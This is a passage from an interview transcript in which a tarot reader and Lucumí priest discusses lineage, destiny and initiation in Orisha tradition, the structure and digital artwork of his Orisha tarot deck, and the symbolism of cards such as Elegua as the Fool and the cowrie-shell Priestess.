beyond that. And so, part of the conversation for me is, this is my lineage, this is my, these are my ancestors at this point, right? And this is something that we take pretty seriously within the tradition, right? Initiation and lineage are really significant. SUSIE: Right.  ANDREW: And so that's part of the thing. Part of it is, although my parents did not practice this tradition, I am initiated into this lineage in a traditional way.  SUSIE: So, so there's a difference here between blood lineage and spiritual lineage.  ANDREW: But the word does not differentiate. We don't differentiate, right? So, if you … We could … You could get a reading, and, your traditional reading, and your reading could come in a good way or a bad way, depending on what's going on with you, from the Egun, right?  SUSIE: Right, right.  ANDREW: And when we're divining, if it's possible, we want to mark who that is, and we would ask, ancestors from the lineage, and ancestors from the blood line, and depending on what the reading came out as, it would guide us. And we could narrow it down, and be like, "Oh, yeah, the ancestors are upset with you, and in this case it's someone from your blood family, or in some other case it's somebody from your initiatory lineage," but we don't differentiate, the word means the same, right?  SUSIE: Yes, I seem to remember reading something this past week about the idea that your, your, they're sort of one set, one bloodline sort of over one shoulder and spiritual guidance over the other, but they sort of combine and you need both. And I guess, you know, speaking about the outlook and cosmology of the faith, would it fair to say that, you come into this religion, but the religion itself proceeds from the assumption that everybody, no matter where you come from, no matter who your parents, or grandparents etc. were, has a relationship, or a potential relationship they haven't yet realized, with the Orisha?  ANDREW: I don't think that that's actually true.  SUSIE: Okay. So that's what I'm trying to get to the bottom of here.  ANDREW: Okay. Before we come to Earth, we choose our destiny. We choose our Ori, right? Ori is sort of, not easily translated into one thing, but if you think of it as sort of your guardian angel, your destiny, and your higher self, all as one entity, that's probably a reasonable set of points to make sense of it, for people who have those ideas already.  SUSIE: Mm-hmm. ANDREW: And when you choose your destiny, before you come to Earth, it's sealed, right?  SUSIE: Right.  ANDREW: And so, we don't know what all it entails before we come, but if it's part of your destiny to get initiated into the Orisha tradition then opportunities will present themselves for that. It's not to say that you couldn't force them otherwise, but those wouldn't be in alignment with your destiny. And really, when we're talking about sort of initiation, and sort of connection, and those kinds of things, they really all ought to be dictated by either divination, or dictated by Orisha in possession of people, right?  SUSIE: Yes.  ANDREW: It's not really, you know. There are many people who will come, people will come and Orishas are like, "yeah, okay, we'll help you," right?  SUSIE: Mm-hmm. ANDREW: Or the people will come, and they'll be like, "no, you should go do something else," right?  SUSIE: Mm-hmm. ANDREW: Either direction, go over that way, go look at these people, you know, like go look at these other traditions. It's definitely not for … It's not meant for everybody, per se, and it's not closed in any, you know, in any particular way, although certain houses and certain, you know, lineages, might be more closed to outsiders than others, based on a whole bunch of different factors, but … SUSIE: Mm-hmm. ANDREW: It's much more so that, you know, if it's part of your destiny the opportunity will arise, if it's not, then, you know, you might run into it, but they might say, no, you're good, go to the other side.  SUSIE: Right. Well, this is interesting to me because I've noticed that there seem to be a lot of people who are clearly didn't grow up within the culture who have become drawn to this religion or some form of it, some form of the faith, and, you know, taken it on. And, it seems as though there is, you know, a certain openness to those who commit themselves, whether or not they grew up or had family or, you know, understood the culture. Right?  ANDREW: Yeah, I mean I think that, I think that there are opportunities definitely for people to engage and connect with these traditions. And there are definitely practitioners around who are, you know, open to people who didn't grow up in these traditions and so on, for sure, right.  SUSIE: Right, right.  ANDREW: That's definitely a thing, and you know, I mean that, I think one of the things I see that's going on is that, certain people seem like they're looking for tradition, right? They're looking for … They're kind of doing something that doesn't have a long living history, and they're kind of looking backwards for, or looking around for those things that do, you know?  SUSIE: Yeah. ANDREW: I think that's part of why the Tarot de Marseilles is sort of resurfacing. SUSIE: Right, right.  ANDREW: You know, it's, I think that it's why the Orisha traditions are shifting and coming forward more. You know?  SUSIE: Right. That's one of the things that … I guess that's why I was asking you so much about your own background in terms of, you know, working independently versus belonging, right? Because I think that that's something that a lot of us struggle with, especially those of us who grew up, you know, in an era where religious community isn't something that one takes for granted.  ANDREW: Mm-hmm. SUSIE: Yeah. So anyway, I think that we should probably turn a little bit to the work itself.  ANDREW: Well, let me finish answering … Cause we started with this question of me and sort of, you know, doing this deck, right?  SUSIE: Mm-hmm.  ANDREW: You know, sort of … And we kind of started talking about the ancestral piece and drifted away, and there are a couple of other things that I want to sort of … SUSIE: Okay, good.  ANDREW: So I mean, one of the things, like I did a bunch of things around creating and starting this process, and getting permission before I started this process, and certainly one of them was sitting with my elders and talking about what I wanted to do, and, you know, getting advice from them.  SUSIE: Mm-hmm. ANDREW: And certainly part of it was asking the Orishas themselves, asking Elegua for, you know, his blessing to proceed with this project.  SUSIE: Mm-hmm. ANDREW: And also, you know, sort of sitting down with people and sort of showing my art with, you know, with different people and people of color and so on to kind of consult with my choices around representations and so on, so.  SUSIE: Absolutely, absolutely. ANDREW: I really wanted to, you know, you can never please anybody, and I'm sure there'll be some people who'll be upset by the deck, and well, you know, that's life. Right? But … SUSIE: Right. But it sounds as though you have a lot of support. At least within the community you have access to for the work that you undertook. ANDREW: Exactly. SUSIE: Mm-hmm. Mm-hmm. Cool. So I wanted to talk a little bit about making a tarot deck, approaching a tarot deck, coming out of the various traditions you come out of. So I know that you started out with Crowley and the Thoth deck -- or, I know you pronounce it "Toth," [laughing] and also that your primary commitment as a reader for quite a while has been the Marseilles deck. ANDREW: Mm-hmm. SUSIE: So, how … Why did it seem like a natural choice to you to translate or to represent what you know from Orisha as a tarot deck? You know, I think a lot of people would say, well, you know, since there isn't an obvious 78 card structure, you know, number of deities, all the sort of correspondences that tend to underlie at least the Golden Dawn-derived decks, or the general tradition of tarot reaching back to the 15th century, you know, why, why do a tarot deck and not something more free form like an oracle deck?  ANDREW: Well, because, one of the reasons why I made this deck was because I wanted to create a bridge between the people who have traditional experience with the Orishas, and people who have experience with the traditional tarot structure.  SUSIE: Mm-hmm. ANDREW: And I wanted to use that … those two pieces as a way of creating a bridge so that people could sort of have more understanding of each other. And of what's going on, right?  SUSIE: Yeah, yeah.  ANDREW: And so, I really, you know, I mean, I've got nothing against oracle decks, I mean I released one earlier in the year. But, in trying to think about something as large and expansive as the Orisha traditions, it really … Having a clear structure, like the tarot structure, allowed me to frame and set the conversation in a way that allowed me to finish it [laughing] cause otherwise … SUSIE: [laughing] Right, it's ... otherwise, how do you know when it's done? [laughing] ANDREW: Yeah, right? I mean, we divine with, you know, upwards of 256 different signs.  SUSIE: Right. ANDREW: Each of those signs is as complicated or as a trump card, or as sophisticated as a trump card … SUSIE: Right. ANDREW: and then there's, you know, depending on who you ask, you know, a bunch of primary Orishas and maybe, you know, like even hundreds if you start getting into different paths and roads, it can expand infinitely in every direction, right? So.  SUSIE: Mm-hmm. I'm curious in whether there's much crossover between the two communities, that you've noticed. I mean tarot, and Orisha.  ANDREW: Sure, lots of people. I know lots of people who are initiated. You know, I mean, that sort of … syncretic piece, kind of "what can I do with this?", you know, that continues to be a problem with a lot of Orisha practitioners' lives, right?  SUSIE: Yeah. ANDREW: It's more purely, just the Lucumí Orisha stuff. Many people practice some combination of, you know, Paulo Moyumbe, and espiritismo, and card reading, and, you know, other things, depending on who they are and what they feel is important and what they have access to. So there's not like … There's not a lot of hard rules … SUSIE: Yeah.  ANDREW: About the Orisha tradition. Certainly not the tradition I practice.  SUSIE: Right.  ANDREW: I mean, definitely don't mix them in one ceremony. SUSIE: But it's okay if you practice them separately.  ANDREW: If you go to church on Sunday, and then you tend your ancestral Boveda, and then you have some Orisha, and you go between them, depending on what you feel and need, it depends on where you go, it's a really common experience for a lot of people. So.  SUSIE: Yeah, yeah, I'm glad you addressed that, cause that's something I was really curious about. You know, you don't dilute your practice by sort of mixing a bit of everything. On the other hand, you're one person, and, you know, if you're drawn to different practices, then perhaps you're drawn to different practices for different needs.  ANDREW: Sure. And if the Orisha don't want you doing that, they'll tell you! For sure. SUSIE: [laughing] Right.  ANDREW: They'll be like, "stop it!"  SUSIE: That's not cool. Yeah.  ANDREW: Yeah.  SUSIE: So, a little bit about what people can expect when they're approaching the cards. Now, it's not like there's a particular Orisha per card. There's Orisha in some representations of some cards, some cards have concepts from Lucumí, some cards have one of the Odu on them, so, sort of like, how did you approach how you wanted to impart all of this information structurally into the deck?  ANDREW: Mm-hmm. So, I really, I wanted to try and avoid what I had seen done in other decks in the past.  SUSIE: Mm-hmm.  ANDREW: Not because it's wrong per se, but because it doesn't give the conversation enough meat. Right? You know a lot of decks would say, well, Shango is the king, and therefore, he's the emperor, and so when I draw the Emperor I'm going to draw Shango.  SUSIE: Right.  ANDREW: And that's fair, you know, I mean Shango is the emperor, he's the king of the Orishas.  SUSIE: Mm-hmm. ANDREW: But, but there's a lot more to it than that. What does that mean? In what way does kingship or power in that way show up in a variety of different contexts, and what are the different conversations that we could have, right?  SUSIE: Exactly. ANDREW: And so, when I was sort of working with the trump cards, I wanted to embody the ideas that I see being behind, you know, behind the cards themselves: spiritual authority, earthly authority, fortune and chance, you know, like different things. I wanted to sort of embody those bigger ideas and kind of avoid kind of just a straight, this symbol = this symbol here … SUSIE: Yeah, I call that the matchy match. [laughing] ANDREW: Right? Exactly. SUSIE: Yeah, yeah, yeah.  ANDREW: When I was looking at the number cards, which for me often represent sort of more the what and the how of life, right? I wanted to kind of focus more on stories, and those things that tend to be more about particular patakis, or stories or ideas from the lives of the Orishas and the lives of their practitioners and where that kind of overlaps and integrates with those numbered cards. And then when I got to the court cards, I wanted to, I wanted to really kind of explore the way the court cards can be sort of seen to line up with roles people might play in the community. Right?  SUSIE: Right. ANDREW: So, when we're looking at those, we see … One of them, the Aleyo, the new person who's just coming to this tradition, who's ready to learn, and they're making an offering to, you know, the butcher, who is a very skilled and important part of the ceremonies in the community, to the elders who run the ceremonies, and the singers and the drummers and the artists and all of those things, so I kind of went through and sifted those ideas into where I felt they aligned with the court cards best. SUSIE: Mm-hmm. ANDREW: So, the court cards then become really positions or roles one might find oneselves in, in religion, and over time, with the traditional idea of the court cards, over time we might [00:29:27]. Over time we might be, you know, we might play this role in this community and that role in another community. And so on. So. SUSIE: Right, right. And I think hat underscores what I think sometimes we forget about court cards, which is that we can be any of them, and we are any and all of them at different times.  ANDREW: Mm-hmm. SUSIE: So, about that … A word you brought up just before, which I think is pretty important for us to discuss, the word Pataki, the story. So can you tell us a little bit about how that is contextualized within the faith and also, we should mention, that that is the name of the book that goes with the deck, Patakis of the Orisha Tarot. Yeah. ANDREW: So, patakis are the stories of the Orishas and their practitioners that are meant to be instructive, right?  SUSIE: Mm-hmm. ANDREW: The word parable, you know, is a way to maybe give a different word for it in English.  SUSIE: Right.  ANDREW: And, you know, especially when we're divining, right, we'll often give a proverb, and we'll often, you know, tell a story about the Orishas. And, this is part of this oral tradition of it, that we are expressing these ideas in ways that allow us to tell the person things, in ways that are easier to hold onto, easier to integrate, that give us some meat, rather than just saying, "hey, don't do this thing," which we might also say … SUSIE: Mm-hmm. ANDREW: We might also tell the story of when one of the Orishas did that thing and what happened to them.  SUSIE: Yes.  ANDREW: "Oh yeah yeah, okay I see that. I shouldn't do that thing, cause this is gonna happen," right? There'll be a problem.  SUSIE: There's something about these stories that's so human and relatable, right? You know? I mean is it not the case that the Orisha themselves were at one time human or before they became more than human?  ANDREW: Well, that's a … That's a contested … Somewhat contested point of view. Many Orisha are what's known as urumole. They came from heaven. Right? They originated purely from spirit.  SUSIE: Mm-hmm.  ANDREW: There are Orishas who are considered deified ancestors, Shango being one of them, you know, Oduduwa being another one. You know, there are these spirits, these people who led great lives and led their communities and so on, and became, you know, deified after their death. The question that comes up in those conversations, then, also is were those lives that Orisha descending and living on Earth for a period of time?  SUSIE: Yes, right. Yeah. ANDREW: So, I mean, I think that it … I think that there's no clear answers to that. But in general, the majority of the Orishas did not start as human, but originated as part of the unfolding of creation, and then came to sort of live these lives and, you know, have these stories and experiences that we now understand. And also, when we're talking about some of these stories, I think that we also need to understand that some of them, and there's no easy historical way to say which ones are not, but a good chunk of them were probably stories about priests of those spirits.  SUSIE: I see.  ANDREW: Made these mistakes in their lives. It's like, "Oh yeah, you're Bill, the priest of Obatala who lived down the road …" SUSIE: [laughing] ANDREW: "Remember when you did this?" "Yeah, I remember," right?  SUSIE: [laughing] Right, right.  ANDREW: And those stories become, you know, part of the myth, right? Part of the lexicon of these traditions.  SUSIE: Yes. I guess what makes me wonder, you know, what their relationship with mortality and humanity is, is because these stories, the emotions and the sort of currents that they represent are things that anyone can relate to. You know, there's jealousy, there's anger, there's, you know, there's infidelity, there's theft, there are things that you don't sort of in the same way that in the Greek mythology you see people, you see deities acting badly, right? Or in ways that show that they can make mistakes too.  ANDREW: Definitely. One of my elders likes to say, you know, "They made those mistakes, you don't need to, okay?"  SUSIE: [laughing] ANDREW: Right? But, you know. We're all human. We're gonna learn or we're not gonna learn. But we'll learn one way or another. Right?  SUSIE: Right, right. So, a little bit more about deck structure. So, first of all, I noticed immediately that there were some sorts of ways in which your experience with tarot informed the deck. First of all, there's a little bit of a thought sensibility, in that your Strength and Justice are ordered in the way that the Thoth deck and the Marseilles deck do, rather than the Rider-Waite-Smith. I noticed that you have ordered it wands, cups, swords, disks, fire, water, air earth, which is a very hermetic thing. And the very fact that you call them disks also comes out of the Thoth tradition. But, I also wanted to know a little bit, for example, of ... I can sort of understand where the structure for the majors comes from, but what I wanted to know a little bit more is about the pips. Because your primary reading background comes from, as far as assigning meaning to the pips, I guess would be based in Thoth originally? I wondered if there was sort of more relationship …. Would someone who comes from a Rider-Waite-Smith tradition instantly recognize, or from a Golden Dawn tradition, instantly recognize the concepts in each of these minor cards?  ANDREW: Well, I mean I think so. [laughing] SUSIE: [laughing] I can tell you that I certainly did. ANDREW: I mean, here's my hope about this deck. You know?  SUSIE: Mm-hmm. ANDREW: I mean, so, obviously, I started with the Thoth deck, and I read with that deck for many years, exclusively. But I also read a ton of books on tarot, right, during that time. And had a lot of conversations, especially once I started branching out in the communities more, and you know, I mean, I've read lots of books on the Waite-Smith tradition, and, you know, all of that sort of and a bunch of that older stuff, you know?  SUSIE: Mm-hmm. ANDREW: Hermetic or otherwise. So when I was, when I was creating this deck, there are … People who are reading the book, you'll come to some spots, you'll hit a few cards where it's like, you know, in the Marseilles tradition, people often think of this card this way, and I'll give a little bit of context, and then when you go and read it, it'll make a ton of sense.  SUSIE: Yeah.  ANDREW: And, that's really mostly because I could have, you know, I could have written ten times as much about these cards as I did. But Llewellyn said, you can only make the book [cross-laughter [00:37:02]  SUSIE: Right, right.  ANDREW: And, and I really endeavored to sort of kind of hold what I see as kind of the middle of the road on these meanings, right? I mean I didn't … the numbering is the numbering, and to me ultimately the numbering … I mean, this might be blasphemy from a hermetic point of view, but to me the numbering of the trump cards is really largely irrelevant.  SUSIE: I think it's arbitrary, yeah.  ANDREW: It's a historical precedent that's [inaudible at [00:37:30]. SUSIE: Although, although, Andrew, I think it's important that you made Elegua the Fool. I think, you know. ANDREW: For sure!  SUSIE: Yeah. As the Orisha who comes first.  ANDREW: For sure, yeah, yeah. But, but, you know, choosing Justice to be this number or that number, I'm like, eh. I almost never read the numbers when I read cards, because I just see the cards, right?  SUSIE: Right, right.  ANDREW: So, you know, this deck is really meant to be, you know, a kind of relatively even representation of tarot as it exists today, right?  SUSIE: Yeah, yeah.  ANDREW: And so, there's not … none of it's slanted too much one way or the another. There's no like "Well, you need to know that Crowley called this card the Aeon means, you know the goddess Nuit means this... SUSIE: Right.  ANDREW: It's just not like that at all, right?  SUSIE: Yeah, I mean, my sensation as I was getting to know the deck was really that it was about the stories, and which story fit which card best.  ANDREW: Yeah. It's one of the things that I actually really … I wouldn't have guessed that I would have felt this was so important, but the feedback that I've gotten from the people who've gotten their books already, or gotten their copies already, who I shared advance copies with and stuff, is … including some non-tarot people who just are reading it because they really like me.  SUSIE: [laughing] ANDREW: The feedback I keep getting is that the material is really accessible. And to me, that's like a really important thing. You know? I didn't want to make this difficult, I avoided using as much jargon, or like, you know, Lucumí words, as much as possible. I really, you know, I didn't get into hermetic philosophy particularly anywhere. You know there are all these branches and wings of my own personal experiences and practice, that I just brought them all down to the dining hall, I was like, "All right! Let's all have lunch to talk about stuff in a general way." SUSIE: [laughing] ANDREW: You know, it's hard to make that happen, so.  SUSIE: Right. Well I think that, you know, I think it's really important for anyone coming to this deck to get to know the book, to read the book, really read the book, because it's, you know, it's 350 pages, it's real, it's got every single page not only has a story that's associated with the card, but also sort of breaks down the symbols that you included in the card, what its divinatory meaning might be, and sort of what the advice might be that goes with it. And I found that incredibly helpful in terms of, like, you know, if I came across a card where my own sort of tarot background wasn't making it immediately obvious to me what you were trying to do, I could just go to the book and it was really clear, you know, like within a minute. So, I think that it's … This is one of those things where … And I generally am not a person who believes that readers always have to go to the book, but I think it is really enriching and helpful to contextualize using what you wrote for this deck.  ANDREW: Mm-hmm. Yeah, I think unless somebody has a strong living practice with like, you know, with a traditional Orisha practice, yeah, it might be hard to start just by looking at it … SUSIE: Yeah, yeah.  ANDREW: Most people who come from those traditions and read cards, as well, then maybe they don't need the book as much, you know. It's always interesting as I share the images on the, you know, on social media and stuff, I get, you know, priests jumping on the thing, and like, "how you choose to represent this here! it's perfect!" you know? SUSIE: [laughing] right. ANDREW: They just get it, right? Because they have both of those pieces. But it's so nice to see people be moved to see themselves and to see the tradition in this way, which is really gratifying.  SUSIE: Mm-hmm, Mm-hmm. Before we move off structure and start talking a little bit more about the art and the specific cards, is there a sort of through line in each suit that we should be looking for? Something that's going on in wands only, something that's going on in cups or swords or disks?  ANDREW: That was … That was a notion that I abandoned along the way. You know, in making a deck there always comes this point where the reality check steps in, and you're like, this is the limit of what I can do, you know.  SUSIE: Yeah, yeah.  ANDREW: And the sort of the idea that there was sort of one through line for each set of suits, I didn't really, I couldn't really find it, and you know there are a couple other ideas about levels of detail and symbolic representations that I just realized I'd be spending another five years like hand-drawing beaded things all day… SUSIE: [laughing] ANDREW: I'm like, that can't happen.  SUSIE: Right, and if … I mean there are certainly color and number correspondences you could have worked with but, by forcing it into you know, existing tarot structure or hermetic structure I think you would have been doing something that was not necessarily conducive to the most rich environment of reading these cards. ANDREW: Exactly. SUSIE: You know what I mean? Yeah, although, I'm looking at … I've sorted it out, separated my deck out, Ace, Cups Swords, sorry, Wands, Cups, Swords, I'm looking at the Aces, and there's definitely, I get at least just from my background, I get an elemental feeling off of those cards, you know, a fire, water, air, earth feeling, and even if that's not something that you intended to do or carried throughout the deck, there's still something there, I think. ANDREW: For sure. I mean, in making this deck it's definitely … A lot of stuff just emerged in the creative process. And although I spent a lot of time thinking and writing and making notes about what went where and why and so on, when I sat down to make the cards, a lot of stuff just emerged as part of that process, you know, from the news, from the creativity, by chance or whatever, my own conscious formulated it, so there's a lot of stuff in there that happened as I was making the cards, it wasn't necessarily fully thought out … SUSIE: But which is just part of you, as a reader and a practitioner. ANDREW: Yeah. I mean, you spend 32 years working with the tarot, right?  SUSIE: [laughing] ANDREW: It's a lot of ideas in the back of the brain there that are trying to come out in one way or another.  SUSIE: Right. So, let's talk a little bit about the way the cards look for those people who haven't been lucky enough to pick up their decks yet. It's a gorgeous production, first of all, I think you, you know … the artwork's just stunning, and Llewellyn did a great job, I think, as well. First of all it's a borderless deck, which, thank you! [laughing] That's …  ANDREW: Llewellyn let me do something that they had never done before, which was: all of the titles are handwritten.  SUSIE: Yeah! Yeah! ANDREW: [crosstalking [00:44:55] to the cards. They're not obscured, they're easy enough to see when you're looking … SUSIE: You can find them.  ANDREW: [crosstalking] Off of the bottom. They fit in more with the artwork, so it's easier to kind of just look at the artwork, or just look for the title when you need to.  SUSIE: Right.  ANDREW: That was something that we had a bunch of conversations with …  SUSIE: I think it was a brilliant choice. Because, you know, it really foregrounds the story of the art. The art fills the frame, you know, everything about it allows you to immerse yourself in what's going on in that picture, and then secondarily you, you know, check out whatever title it was so you can sort of match it up with your own tarot knowledge. But I really appreciated that and I'm really glad that they made that decision and you, you know, suggested it. And also, the colors are so saturated and so bold. So the texture and look that you were going for was based on Gwash, right?  ANDREW: Well, so, actually, what I was … So, I used to paint in Gwash a lot, before I had kids. But, you know, having kids, and having a space to set up art, you know, a small, urban space, isn't really that easy, right?  SUSIE: Right.  ANDREW: So certainly, that's a piece of my sensibility and my aesthetic, but part of what I was really looking for was, you know, starting, it's hard to date now, but starting quite a while ago, I went from being super structured and really trying to sort of make everything perfect, to really kind of moving to a more gestural and looser way of working. And so, you know, this kind of comes out of that, you know, sort of move away from you know, sort of pursuing absolute realism to pursuing something else. And then, the other piece of the aesthetic is, you know, I wanted to include different pieces of symbolism, but I didn't want to make it look like the Thoth deck where there are so many symbols that you don't really know what to look at sometimes.  SUSIE: Yes, yes.  ANDREW: And so, one of the things that I decided along the way was, you know, there's a lot of use of textiles, especially in Africa and west Africa, and the Orisha traditions, there's a lot of use of textiles in making thrones, in making ceremonial outfits, you know, in making panuelos, which are these elaborate cloths that we put on top of the Orisha sometimes. And so I wanted to kind of have a reference to that without trying to like emulate it or create like, recreate specific patterns, but use that visual idea to create a space for that symbolic language to hold, right?  SUSIE: Yes.  ANDREW: For the use of number, and through whatever other symbols got added to those designs and so on. So.  SUSIE: Yeah, I really picked up on the fact that the design sensibility behind this had that sort of sense of, you know, scope and flow and bold lines that you get in textile. And, you know, that's not something you always see in tarot, and so it was really kind of a relief to the eye to sort of not get too, I don't know, bound up in the busy?  ANDREW: mm-hmm. SUSIE: Yeah. I think what we see is sort of a looseness of the line, and … But at the same time a real exactness in terms of what symbols you wanted to portray and the way that you foregrounded them in each card. So, so, you did this actually on an iPad, right?  ANDREW: I did, yeah. I did all of this digitally. I've been working pretty much exclusively digitally for the last five or six years now, I guess, ever since …  SUSIE: Yeah. And does that have to do with being busy, being a parent, you know, just trying to live life in addition to being an artist?  ANDREW: Mm-hmm. Yeah, I mean I don't have a studio space, you know, I don't have … Toronto is apparently one of the most expensive cities in the world to live in, thanks for that, whoever's responsible for that … SUSIE: [laughing] ANDREW: But space is certainly at a premium. And, you know, the only space where I maybe could do more studio type work is at the shop, and I already spend lots of time at the shop seeing clients and doing other stuff. I don't really want to be at work even if it's sort of as a creative outlet. And the iPad, you know, it's always with me, and when I was making this deck , I would just be like, oh, I've got an hour, time to work on one of the cards a bit. You know?  SUSIE: Yeah. ANDREW: Here's some writing. Or whatever. It's just, it's always at hand, it's super portable, and especially, I got an iPad Pro, like one of the big ones, and an Apple pencil, which finally I was able to make happen through the process and you know, it's the best thing ever, it's just … SUSIE: Yeah, and if you get interrupted, you can just save it, and pick it up later.  ANDREW: And I'm sure, like from a production point of view too, you can work in layers, like in Photoshop … SUSIE: Yeah. ANDREW: It's a real treat. So all the backgrounds are their own layers and all the symbols SUSIE: That's great, yeah.  ANDREW: The line work symbols and stuff. So if I make a mistake, if I change my mind later … SUSIE: Right, right. Plus it gives you more freedom. I mean if you're doing a background you don't want to just stop to make room for the foreground, right?  ANDREW: Right? Yeah. All also, I just sent all the Photoshops to Llewellyn, and they asked me if they could take some of them apart and use pieces for making the box and other stuff, which they did, which is fantastic. I'm so delighted with it. It just, it allows for a variety of options in a way that traditional mediums just don't, you know?  SUSIE: Yeah, I was really excited to realize that you did this in a digital format like that just because I didn't know that you could create art like this in that way and have it come out looking so good. You know? ANDREW: Mm-hmm. SUSIE: And the other thing is that I just, I thought it was really funny, that just practically speaking, that it made so much sense for you. This is one of my hobby horses, the idea of just how difficult it is to be both a parent and a practitioner, you know, just to live your life and try to do this work is a constant struggle. Like, you know, you're in the middle of a banishing ritual and some kid is like, coming through saying, Mom, I missed the bus! ANDREW: Yeah! SUSIE: I mean, it's like it's every day, you know, trying to make that work is tricky for a lot of us. So I'm glad you found a way to make this happen.  ANDREW: Me too.  SUSIE: Okay, so I'd love to, if you feel like it, I'd love to talk a little bit about specific cards. If you could just give me a second, I have to plug … My laptop's going to run out of charge. I just have to plug it in real quick. ANDREW: Yeah. SUSIE: Just, be right there. [pause] Okay, we're good. And I can strip that out of the tape, later on, if you want. Okay. So, let's talk about a couple majors. I wanted to return to the Fool card, cause I think that's super important, where you have Elegua, who is, I guess, you know I don't want to make the mistake of trying to do too much equivalency here, but he is the one who makes communication possible as I understand it.  ANDREW: Yeah. Elegua is the Orisha we speak to first in every ceremony, because he opens and closes the ways, and Elegua is all of the communication everywhere, on every single level, right. If we think about the communication between every cell in your body is that communication between the parts of the universe, you know, nothing exists or could happen without Elegua being there to facilitate that transfer of information from one place to another.  SUSIE: Right. Right. And so, I think, you know, that's what makes it so important and so appropriate that he's the first card in the deck. You have to, even to open your mouth, to gather the air to speak, you have to be there, right, although he also has a presence in a number of other cards as well. And what people will see, when they look at it, is, I guess the, a common representation of Elegua is the kind of stone or concrete head with the cowrie shells embedded in it, right?  ANDREW: Mm-hmm. Yeah, when people … A common solution, a relatively common solution to troubles in people's lives is to receive what's referred to as the Warriors … SUSIE: Mm-hmm. ANDREW: Which is Elegua, Ogun and Ochossi. It's an initiation that you don't have to be a priest to have. Anybody can receive this if it's marked or required. And they come into your life to help you fight your problems and overcome your obstacles and so on. And what there's actually, people are really accustomed to seeing these cement heads with the cowrie shells, but traditionally depending on your lineage, Elegua is … they have marked the path of Elegua, and there are many ways in which Elegua might be made. But I chose to make the one that people understand the most because I wanted it to be somewhat familiar to people, for sure.  SUSIE: Right, and this is actually a symbol that ordinary people might have in their homes, right?  ANDREW: Maybe.  SUSIE: Yeah, yeah. Well, just real quick, after I got your deck, I had the craziest dream, where I dreamed that I got up and I went outside. And this was around midnight. And the UPS truck comes, [laughing] and gives me a package with my name on it, and I open it and I suddenly start to feel really strange like I'm high or I've taken something or ingested some kind of substance, like, just through opening the package. And then I was instantly transported into some kind of rite that was going on in my dining room. And Elegua was there. [laughing] And I thought this was, obviously this is not, I knew almost nothing before this week about this tradition, but, and I certainly have no way of knowing what significance that had or what, you know I certainly can't speak for the tradition in any way, but I thought it was, so interesting that, you know, my dream maker chose to take the delivery of your deck to me as this kind of mind-altering frame-shifting event. and then introduce, you know, this personification of communication, the opener of the ways, into the dream.  ANDREW: Yup. Indeed. SUSIE: So I was very grateful for that experience. Okay. The only other major I really wanted to make sure we talked about was the Priestess card.  ANDREW: Mm-hmm. SUSIE: Because it's not what people would ordinarily expect to see in a Priestess card, and I thought you could talk a little bit about what we're looking at and how it relates to the High Priestess we know and love.  ANDREW: Mm-hmm. So, this is actually one of the cards that gave me the biggest trouble.  SUSIE: Mm-hmm.  ANDREW: I spent a lot of time working on this card, they're a bunch of drawings that got scrapped along the way, because I was just like, no, nope, no, no, no, that's not gonna cut it, that's too simple, that's too this, that's too whatever, right?  SUSIE: Mm-hmm.  ANDREW: You know, so what we see in the Priestess card, is we see a bunch of cowrie shells, right?  SUSIE: Right. ANDREW: And the dillogun, or the cowrie shells, are you know one of the traditional tools of divination. For olocha, for priests in the way that I'm a priest, it's the way in which we speak with the Orishas. And, when we divine with the shells, we pray, and we invoke an opening with Elegua or whoever, for an Odu, for a sign, like a, the idea almost like a card to sort of … But those energies, those Odu, are the living unfolding of the universe, right?  SUSIE: Mm-hmm. ANDREW: So, they represent all of the knowledge that was and is and all of the possible knowledge of the future, or the possible unfoldings of the future. And so, those energies that arrive when we do a reading, and come to play in the life of the person who gets the reading done … It's actually a serious ceremony to get a reading.  SUSIE: Yeah. ANDREW: It alters the course of your life, right? And, you know when we think of the Priestess or the Papess, right?  SUSIE: Mm-hmm.  ANDREW: One of the things that we can talk about is knowledge, right? And it's deep metaphysical knowledge, right?  SUSIE: Right. Which isn't readily accessible to you at a surface level.  ANDREW: And, when we think about the Hierophant or the Pope as sort of the outer face of spirituality, the High Priestess is the inner face. She's the inner mystery of that, right?  SUSIE: Right . ANDREW: And she is that knowledge which is hard to get to, that knowledge which is hard won, and that knowledge which is tied to a deep respect and a deep cosmic awareness of the nature of the universe, right?  SUSIE: Mm-hmm. ANDREW: And so this Odu and the method of divination and the process of divination, to me mirrors that, right?  SUSIE: Correct.  ANDREW: And so the shells become the mouth of the Priestess, right? And if we look at it in a sort of Rider Waite symbol, right? Cascarilla and the Ota, the black stone?  SUSIE: Yes! ANDREW: They mirror, we use those in the divination process, but they mirror those two columns … SUSIE: The boas and jacim, yeah.  ANDREW: The positive and negative vibrations that are in that sort of duality.  SUSIE: And those are a kind of … Are they a yes/no kind of stand-in?  ANDREW: Yeah, we use them and other things to ask specific questions within a reading. We each have … There's about a half dozen Ibo that all have ritual significance, and we use them in different ways depending on the nature of the question we're asking.  SUSIE: Mm-hmm. ANDREW: And then the other thing that's going on in this card is, usually people divine on a straw mat or a tray … SUSIE: Yeah.  ANDREW: With cowrie shells. And some people use a wooden tray, maybe, but more often than not a straw mat. So, I wanted to create this idea of the straw mat, but then this idea that below it is this sort of cosmic opening, right? This connection to everything.  SUSIE: Yeah. ANDREW: So, this is actually probably one of the most abstracted cards in the whole deck … SUSIE: Mm-hmm. ANDREW: In that it doesn't really show an Orisha or a thing that is sort of easily connectable, but I think that it really represents a sort of, that depth of knowledge and connection, direct connection to the voice of creation, that I associate with the High Priestess and that you know I associate with this divination process.  SUSIE: Yes. Now the Odu themselves, they're transmitted orally, right? It's not something that you just pick up a book, and not anyone can do it.  ANDREW: Yes. If you're not a priest, you cannot do cowrie shells, right?  SUSIE: Got you.  ANDREW: There's no … The best thing we could say is that you don't have the spiritual license, and my elders would be quite clear, you know, you can do anything you want with these shells, but they don't speak for the Orishas, therefore whatever you get is irrelevant.  SUSIE: Right.  ANDREW: You know … SUSIE: So it's not like what we think of … As tarot readers, we just pick up a deck and anyone can give it a go, this is something that you really need to go through initiation and be crowned as a priest to do.  ANDREW: And spend a long time studying, right? You know you need to understand that there are 256, technically 257 signs. Each of those signs has a specific hierarchical order of Orishas that speak in them. Each of them has proverbs, songs, ceremonies, offerings, taboos, patakis, and then each of those signs can come in ire, like the sign of blessing, or asobo, the negative sign, and then there are many kinds of ire and osogbo, and if you start to multiply those out, you start to realize how many different permutations are possible in this system . SUSIE: Right.  ANDREW: It takes a very long time and a lot of study to really come to understand what all those things mean.  SUSIE: Yeah, and is that something that … So, this is something that you might do as a priest, correct?  ANDREW: Yeah. 